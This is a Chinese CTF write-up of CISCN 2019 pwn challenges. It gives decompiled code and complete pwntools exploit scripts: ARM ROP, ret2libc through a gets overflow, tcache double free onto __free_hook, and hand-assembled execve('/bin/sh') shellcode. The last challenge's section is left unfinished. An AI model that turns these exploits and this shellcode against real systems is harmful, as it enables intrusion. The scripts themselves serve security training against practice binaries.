【WrtieUp】CISCN 2019 -- Pwn 题解

第一次使用自己写的 easyLibc 脚本,嘻嘻

华东北赛区

ciscn_2019_en_1

Description:


Solution:

程序保护如下:

1
2
3
4
5
Arch:     arm-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x10000)

漏洞好找,可以制造 rop,但是没有pop {r0, pc},所以就很恶心

main 函数如下:

1
2
3
4
5
6
7
8
9
10
signed int main_0()
{
char buf; // [sp+0h] [bp-24h]

sub_10538();
puts("your name:\n");
read(0, &buf, 0x100u);
printf("hello %s\n", &buf);
return 1;
}

exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from easyLibc import *
from pwn import *

debug = 2
context(arch="arm", endian='el', os="linux")
context.log_level = "debug"
if debug == 1:
p = process(['qemu-arm', '-g', '12345', '-L', '/usr/arm-linux-gnueabi', './chall'])
elif debug == 2:
p = process(['qemu-arm', '-L', '/usr/arm-linux-gnueabi', './chall'])
else:
p = remote('node3.buuoj.cn', 28513)
elf = ELF('./chall', checksec=False)
plt_puts = elf.plt['puts']
got_puts = elf.got['puts']
addr_main = 0x10590
addr_bss = elf.bss(0x500)
rop_1 = 0x00010638 # pop {r4, r5, r6, r7, r8, sb, sl, pc}
rop_2 = 0x0001061c # ldr r3, [r5], #4 ; mov r2, sb ; mov r1, r8 ; mov r0, r7 ; blx r3
rop_3 = 0x00020f2c # -> 0x000105d8 - pop {fp, pc}

"""
gdb.attach(p, '''
target remote localhost:12345
b *0x105d8
b *0x10638
c
''')
"""

# leak libc
pd = '\x00' * 0x24
pd += p32(rop_1)
pd += p32(0xdeadbeef)
pd += p32(rop_3)
pd += p32(0xdeadbeef)
pd += p32(got_puts)
pd += p32(0xdeadbeef)
pd += p32(0xdeadbeef)
pd += p32(0xdeadbeef)
pd += p32(rop_2)
pd += p32(0xdeadbeef) # r4
pd += p32(0xdeadbeef) # r5
pd += p32(0xdeadbeef) # r6
pd += p32(0xdeadbeef) # r7
pd += p32(0xdeadbeef) # r8
pd += p32(0xdeadbeef) # sb
pd += p32(0xdeadbeef) # sl
pd += p32(plt_puts)
pd += p32(0xdeadbeef) # r4
pd += p32(0xdeadbeef) # r5
pd += p32(0xdeadbeef) # r6
pd += p32(0xdeadbeef) # r7
pd += p32(0xdeadbeef) # r8
pd += p32(0xdeadbeef) # sb
pd += p32(0xdeadbeef) # sl
pd += p32(addr_main)
p.sendafter('your name:\n', pd)
p.recvuntil('hello \n')

addr_puts = u32(p.recv(4))
success('addr_puts = ' + hex(addr_puts))
libc = easyLibc('puts', 0x05e770, 0) # libc6-armel-cross_2.23-0ubuntu3cross1_all
libcbase = addr_puts - libc.dump('puts')
addr_system = libcbase + libc.dump('system')
addr_bin_sh = libcbase + libc.dump('str_bin_sh')

# getshell
pd = '\x00' * 0x24
pd += p32(rop_1)
pd += p32(0xdeadbeef)
pd += p32(rop_3)
pd += p32(0xdeadbeef)
pd += p32(addr_bin_sh)
pd += p32(0xdeadbeef)
pd += p32(0xdeadbeef)
pd += p32(0xdeadbeef)
pd += p32(rop_2)
pd += p32(0xdeadbeef) # r4
pd += p32(0xdeadbeef) # r5
pd += p32(0xdeadbeef) # r6
pd += p32(0xdeadbeef) # r7
pd += p32(0xdeadbeef) # r8
pd += p32(0xdeadbeef) # sb
pd += p32(0xdeadbeef) # sl
pd += p32(addr_system)
pd += p32(0xdeadbeef) # r4
pd += p32(0xdeadbeef) # r5
pd += p32(0xdeadbeef) # r6
pd += p32(0xdeadbeef) # r7
pd += p32(0xdeadbeef) # r8
pd += p32(0xdeadbeef) # sb
pd += p32(0xdeadbeef) # sl
pd += p32(addr_main)
p.sendafter('your name:\n', pd)
p.recvuntil('hello \n')
success('addr_system = ' + hex(addr_system))
p.interactive()

Flag:

1
动态靶机

ciscn_2019_en_2

Description:

Ubuntu 18


Solution:

程序保护如下:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

主函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+Ch] [rbp-4h]

init();
puts("EEEEEEE hh iii ");
puts("EE mm mm mmmm aa aa cccc hh nn nnn eee ");
puts("EEEEE mmm mm mm aa aaa cc hhhhhh iii nnn nn ee e ");
puts("EE mmm mm mm aa aaa cc hh hh iii nn nn eeeee ");
puts("EEEEEEE mmm mm mm aaa aa ccccc hh hh iii nn nn eeeee ");
puts("====================================================================");
puts("Welcome to this Encryption machine\n");
begin();
while ( 1 )
{
while ( 1 )
{
fflush(0LL);
v4 = 0;
__isoc99_scanf("%d", &v4);
getchar();
if ( v4 != 2 )
break;
puts("I think you can do it by yourself");
begin();
}
if ( v4 == 3 )
{
puts("Bye!");
return 0;
}
if ( v4 != 1 )
break;
encrypt();
begin();
}
puts("Something Wrong!");
return 0;
}

漏洞函数是加密函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
int encrypt()
{
size_t v0; // rbx
char s[48]; // [rsp+0h] [rbp-50h]
__int16 v3; // [rsp+30h] [rbp-20h]

memset(s, 0, sizeof(s));
v3 = 0;
puts("Input your Plaintext to be encrypted");
gets(s);
while ( 1 )
{
v0 = (unsigned int)x;
if ( v0 >= strlen(s) )
break;
if ( s[x] <= '`' || s[x] > 'z' )
{
if ( s[x] <= '@' || s[x] > 'Z' )
{
if ( s[x] > '/' && s[x] <= '9' )
s[x] ^= 0xCu;
}
else
{
s[x] ^= 0xDu;
}
}
else
{
s[x] ^= 0xEu;
}
++x;
}
puts("Ciphertext");
return puts(s);
}

漏洞很简单,gets 栈溢出,不用考虑太多直接怼就完了,会发现这加密不影响你打穿它 -.-

exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from easyLibc import *
from pwn import *

debug = 1
context(arch="amd64", endian='el', os="linux")
context.log_level = "debug"
if debug == 1:
p = process('./chall')
else:
p = remote('node3.buuoj.cn', 29605)
elf = ELF('./chall', checksec=False)
got_puts = elf.got['puts']
plt_puts = elf.plt['puts']
addr_main = 0x400B28
rop_1 = 0x0000000000400c83 # pop rdi ; ret
rop_2 = 0x00000000004006b9 # ret

# gdb.attach(p, "b *0x400AEE\nc")
p.sendlineafter('Input your choice!\n', '1')
pd = 'a' * 0x58
pd += p64(rop_1)
pd += p64(got_puts)
pd += p64(plt_puts)
pd += p64(addr_main)
p.sendlineafter('encrypted\n', pd)
p.recvuntil('\x83\x0c\x40\x0a')

addr_puts = u64(p.recv(6).ljust(8, '\x00'))
# local libc6_2.23-0ubuntu11_amd64
# remote libc6_2.27-3ubuntu1_amd64
libc = easyLibc('puts', addr_puts, 2)
libcbase = addr_puts - libc.dump('puts')
addr_system = libcbase + libc.dump('system')
addr_bin_sh = libcbase + libc.dump('str_bin_sh')

p.sendlineafter('Input your choice!\n', '1')
pd = 'a' * 0x58
pd += p64(rop_2)
pd += p64(rop_1)
pd += p64(addr_bin_sh)
pd += p64(addr_system)
p.sendlineafter('encrypted\n', pd)
p.recv()
success('addr_puts = ' + hex(addr_puts))
success('addr_system = ' + hex(addr_system))
p.interactive()

Flag:

1
动态靶机

ciscn_2019_en_3

Description:

Ubuntu 18


Solution:

程序保护如下:

1
2
3
4
5
6
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled

所以不能改 got 表,改 __free_hook 就好了

main 函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
unsigned __int64 main_()
{
unsigned __int64 result; // rax
int v1; // [rsp+Ch] [rbp-44h]
char s; // [rsp+10h] [rbp-40h]
char buf; // [rsp+20h] [rbp-30h]
unsigned __int64 v4; // [rsp+48h] [rbp-8h]

v4 = __readfsqword(0x28u);
puts("Welcome to the story kingdom.");
puts("What's your name?");
read(0, &buf, 0x20uLL);
_printf_chk(1LL, &buf);
puts("Please input your ID.");
read(0, &s, 8uLL);
puts(&s);
while ( 1 )
{
menu();
_isoc99_scanf("%d", &v1);
getchar();
switch ( (unsigned int)off_1144 )
{
case 1u:
add();
break;
case 2u:
no_use_1();
break;
case 3u:
no_use_2();
break;
case 4u:
delete();
break;
case 5u:
puts("Goodbye~");
exit(0);
return result;
default:
puts("Wrong choice!");
return __readfsqword(0x28u) ^ v4;
}
}
}

这里有格式化字符串用于泄露,还有栈地址未初始化也可以用来泄露

add 函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
unsigned __int64 add()
{
int v0; // ebx
int v2; // [rsp+4h] [rbp-1Ch]
unsigned __int64 v3; // [rsp+8h] [rbp-18h]

v3 = __readfsqword(0x28u);
if ( dword_20204C > 16 )
puts("Enough!");
puts("Please input the size of story: ");
_isoc99_scanf("%d", &v2);
if ( v2 < 0 && v2 > 0x50 )
exit(0);
*((_DWORD *)&unk_202060 + 4 * dword_20204C) = v2;
v0 = dword_20204C;
qword_202068[2 * v0] = malloc(v2);
puts("please inpute the story: ");
read(0, qword_202068[2 * dword_20204C], v2);
++dword_20204C;
puts("Done!");
return __readfsqword(0x28u) ^ v3;
}

没啥好说的

delete 函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
unsigned __int64 delete()
{
int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("Please input the index:");
_isoc99_scanf("%d", &v1);
free(qword_202068[2 * v1]);
puts("Done!");
return __readfsqword(0x28u) ^ v2;
}

存在 UAF,得到 tcache bin 里最简单的题,double free 复写 __free_hook 完事

exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from easyLibc import *
from pwn import *

debug = 2
context(arch="amd64", endian='el', os="linux")
context.log_level = "debug"
if debug == 1:
p = process('./chall')
else:
p = remote('node3.buuoj.cn', 28280)
elf = ELF('./chall', checksec=False)


def add(add_size, add_content):
p.sendlineafter('Input your choice:', '1')
p.sendlineafter('size of story: \n', str(add_size))
p.sendafter('the story: \n', add_content)


def delete(delete_idx):
p.sendlineafter('Input your choice:', '4')
p.sendlineafter(' index:\n', str(delete_idx))


p.sendlineafter("What's your name?\n", '%p%p')
p.recvuntil('0x')
p.recvuntil('0x')
addr_read = int(p.recv(12), 16) - 0x11

p.sendafter('Please input your ID.\n', '\x80')
addr__IO_2_1_stderr_ = u64(p.recv(6).ljust(8, '\x00'))
# libc6_2.27-3ubuntu1_amd64
libc = easyLibc('read', addr_read, 1)
libc.add_condition('_IO_2_1_stderr_', addr__IO_2_1_stderr_)
libcbase = addr_read - libc.dump('read')
addr___free_hook = libcbase + libc.dump('__free_hook')
libc_one_gadget = [0x4f2c5, 0x4f322, 0x10a38c]
addr_one_gadget = libcbase + libc_one_gadget[1]


add(0x40, 'a')
delete(0)
delete(0)
add(0x40, p64(addr___free_hook))
add(0x40, p64(addr___free_hook))
add(0x40, p64(addr_one_gadget))
delete(0)
success('addr_read = ' + hex(addr_read))
success('addr_one_gadget = ' + hex(addr_one_gadget))
# gdb.attach(p)
p.interactive()

Flag:

1
动态靶机

ciscn_2019_en_4

Description:

Ubuntu 18


Solution:

程序保护如下:

1
2
3
4
5
6
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments

可见这题估计就是堆上的 shellcode 了

menu 函数如下:

1
2
3
4
5
6
7
8
9
10
signed __int64 sub_119E()
{
puts("1.charge");
puts("2.buy");
puts("3.edit");
puts("4.show");
puts("5.exit");
puts("Your choice:");
return 1LL;
}

main 函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
signed __int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
__int64 v3; // rbx
int v5; // [rsp+Ch] [rbp-24h]
__int64 v6; // [rsp+10h] [rbp-20h]
unsigned __int64 v7; // [rsp+18h] [rbp-18h]

v7 = __readfsqword(0x28u);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 1, 0LL);
no_use_1();
v3 = operator new(0x110uLL);
sub_DE4(v3);
v6 = v3;
qword_204088 = v3 + 12;
LABEL_2:
while ( menu() != 0 )
{
v5 = 0;
scanf("%d", &v5);
switch ( off_3040 )
{
case 1u:
(*(*v6 + 24LL))(v6); // charge
goto LABEL_2;
case 2u:
(**v6)(v6); // buy
goto LABEL_2;
case 3u:
(*(*v6 + 8LL))(v6); // edit
goto LABEL_2;
case 4u:
(*(*v6 + 16LL))(v6); // show
goto LABEL_2;
case 5u:
return 1LL;
default:
goto LABEL_2;
}
}
return 0LL;
}

先倒着看

show 函数如下:

1
2
3
4
5
6
7
8
9
10
11
unsigned __int64 __fastcall show(__int64 a1)
{
int v2; // [rsp+14h] [rbp-Ch]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
puts("Which Weapon do you want to show?");
scanf("%d", &v2);
printf("Weapon name is:%s\n", a1 + 12LL * v2 + 12);
return __readfsqword(0x28u) ^ v3;
}

数组随意越界,原地址是堆上面的,因此可以泄露堆上面的值

edit 函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
unsigned __int64 __fastcall edit(__int64 a1)
{
int v2; // [rsp+1Ch] [rbp-24h]
__int64 buf; // [rsp+20h] [rbp-20h]
__int16 v4; // [rsp+28h] [rbp-18h]
unsigned __int64 v5; // [rsp+38h] [rbp-8h]

v5 = __readfsqword(0x28u);
printf("change Weapon id:");
v2 = 0;
scanf("%d", &v2);
printf("new Name:");
buf = 0LL;
v4 = 0;
read(0, &buf, 10uLL);
*(a1 + 12LL * v2 + 12) = buf;
return __readfsqword(0x28u) ^ v5;
}

依旧是数组越界,但是只能读入 10 个字节,然而写 shellcode 的时候发现只能读 8 个,也不知道为啥

buy 函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
unsigned __int64 __fastcall buy(__int64 a1)
{
__int64 buf; // [rsp+10h] [rbp-20h]
__int16 v3; // [rsp+18h] [rbp-18h]
unsigned __int64 v4; // [rsp+28h] [rbp-8h]

v4 = __readfsqword(0x28u);
if ( *(a1 + 0x100) > 9uLL && *(a1 + 8) <= 10 )
{
printf("input WeaponName:");
buf = 0LL;
v3 = 0;
read(0, &buf, 0xAuLL);
*(a1 + 12LL * *(a1 + 8) + 12) = buf;
*(a1 + 12LL * *(a1 + 8) + 20) = *(a1 + 8);
++*(a1 + 8);
*(a1 + 0x100) -= 10LL;
}
else
{
puts("not enough money");
}
return __readfsqword(0x28u) ^ v4;
}

这个函数能够搭起 shellcode 一开始的跳点

一开始的 if 语句里表明先有钱才能写入东西,钱从 charge 函数里面生成

charge 函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
unsigned __int64 __fastcall charge(__int64 a1)
{
__int64 buf; // [rsp+10h] [rbp-30h]
__int64 v3; // [rsp+18h] [rbp-28h]
__int64 v4; // [rsp+20h] [rbp-20h]
int v5; // [rsp+28h] [rbp-18h]
__int16 v6; // [rsp+2Ch] [rbp-14h]
unsigned __int64 v7; // [rsp+38h] [rbp-8h]

v7 = __readfsqword(0x28u);
if ( *(a1 + 264) != 1 )
{
puts("Money makes you stronger:");
buf = 0LL;
v3 = 0LL;
v4 = 0LL;
v5 = 0;
v6 = 0;
read(0, &buf, 0x1EuLL);
*(a1 + 0x100) = strtoll(&buf, 0LL, 10);
if ( *(a1 + 256) < 0 )
*(a1 + 256) = -*(a1 + 256);
if ( *(a1 + 256) > 30LL )
*(a1 + 256) = 30LL;
*(a1 + 264) = 1;
}
return __readfsqword(0x28u) ^ v7;
}

这就是用来输个 30 就可以不用管的函数,给 buy 函数做铺垫用的

解题思路:

依靠 show 函数泄露堆上的值,在 -1 的时候可以发现这个值刚好为程序内部地址

程序是靠这个地址来寻找 menu 里面的 5 个函数的,所以我们可以在之后用 edit 函数把这个地址换掉,来执行其他的函数

观察 main 函数可以发现这样一句代码:qword_204088 = v3 + 12;

这个 bss 段的地址保存了堆地址,还正好能对应上在 buy 函数中输入的数值所存的地址

所以我们可以把程序改到 mainbase + 0x204070 处来达到改变执行函数的目的,之后用 jmp short 做跳板执行 shellcode 就完了

exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from easyLibc import *
from pwn import *

debug = 2
context(arch="amd64", endian='el', os="linux")
context.log_level = "debug"
if debug == 1:
p = process('./chall')
else:
p = remote('node3.buuoj.cn', 29206)
elf = ELF('./chall', checksec=False)


def charge(charge_size):
p.sendlineafter('Your choice:\n', '1')
p.sendafter(' stronger:\n', str(charge_size))


def buy(buy_content):
p.sendlineafter('Your choice:\n', '2')
p.sendafter(' WeaponName:', str(buy_content))


def edit(edit_idx, edit_content):
p.sendlineafter('Your choice:\n', '3')
p.sendlineafter('change Weapon id:', str(edit_idx))
p.sendafter('new Name:', edit_content)


def show(show_idx):
p.sendlineafter('Your choice:\n', '4')
p.sendlineafter('to show?\n', str(show_idx))
p.recvuntil('Weapon name is:')


charge(30)
buy('\xeb\x00')
edit(0, '\x48\x31\xc0\xeb\x07') # xor rax, rax
edit(1, '\xb8\x3b\x00\x00\x00\x90\xeb\x04') # mov eax, 0x3b
edit(2, '\xbf\x2f\x73\x68\x00\x90\xeb\x04') # mov edi, 0x0068732f
edit(3, '\x48\xc1\xe7\x10\x90\x90\xeb\x04') # shl rdi, 16
edit(4, '\x66\x81\xc7\x69\x6e\x90\xeb\x04') # add di, 0x6e69
edit(5, '\x48\xc1\xe7\x10\x90\x90\xeb\x04') # shl rdi, 16
edit(6, '\x66\x81\xc7\x2f\x62\x90\xeb\x04') # add di, 0x622f
edit(7, '\x57\x48\x89\xe7\x90\x90\xeb\x04') # push rdi; mov rdi, rsp
edit(8, '\x48\x31\xf6\x48\x31\xd2\x0f\x05') # xor rsi, rsi; xor rdx, rdx; syscall
show(-1)
mainbase = u64(p.recv(6).ljust(8, '\x00')) - 0x203DB8
edit(-1, p64(mainbase + 0x204070))
# gdb.attach(p, 'b *$rebase(0x12e7)\nc')
p.sendlineafter('Your choice:\n', '1')
success('mainbase = ' + hex(mainbase))
p.interactive()

Flag:

1
动态靶机

ciscn_2019_en_5

Description:

Ubuntu 18


Solution:

程序保护如下:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

###

####

1
2
3
4
5
6
for i in range(0, 10):
add(0x108, 'a')
for i in range(3, 10):
delete(i)
for i in range(0, 3):
delete(i)

构造 unsorted bin 大小如下:

1
2
3
4
5
6
7
8
0x562a2e2fe2e0 PREV_INUSE {
mchunk_prev_size = 0x0,
mchunk_size = 0x361,
fd = 0x7f941d204ca0,
bk = 0x7f941d204ca0,
fd_nextsize = 0x0,
bk_nextsize = 0x0,
}

####

1
2
3
4
5
6
7
8
for i in range(0, 10):
add(0x108, 'a')
for i in range(3, 10):
delete(i)
for i in range(0, 3):
delete(i)
add(0xf8 - 15, 'a')
`

覆盖掉 unsorted bin 的 size 部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
0x5631ad75d2e0 PREV_INUSE {
mchunk_prev_size = 0x0,
mchunk_size = 0x101,
fd = 0x61,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0,
}
0x5631ad75d3e0 {
mchunk_prev_size = 0x0,
mchunk_size = 0x200,
fd = 0x7f7f3970fca0,
bk = 0x7f7f3970fca0,
fd_nextsize = 0x120,
bk_nextsize = 0x120,
}

###

exp 如下:

1
2



Flag:

1
动态靶机
文章目录
  1. 1. 华东北赛区
    1. 1.1. ciscn_2019_en_1
      1. 1.1.1. Description:
      2. 1.1.2. Solution:
      3. 1.1.3. Flag:
    2. 1.2. ciscn_2019_en_2
      1. 1.2.1. Description:
      2. 1.2.2. Solution:
      3. 1.2.3. Flag:
    3. 1.3. ciscn_2019_en_3
      1. 1.3.1. Description:
      2. 1.3.2. Solution:
      3. 1.3.3. Flag:
    4. 1.4. ciscn_2019_en_4
      1. 1.4.1. Description:
      2. 1.4.2. Solution:
      3. 1.4.3. Flag:
    5. 1.5. ciscn_2019_en_5
      1. 1.5.1. Description:
      2. 1.5.2. Solution:
      3. 1.5.3. Flag:
|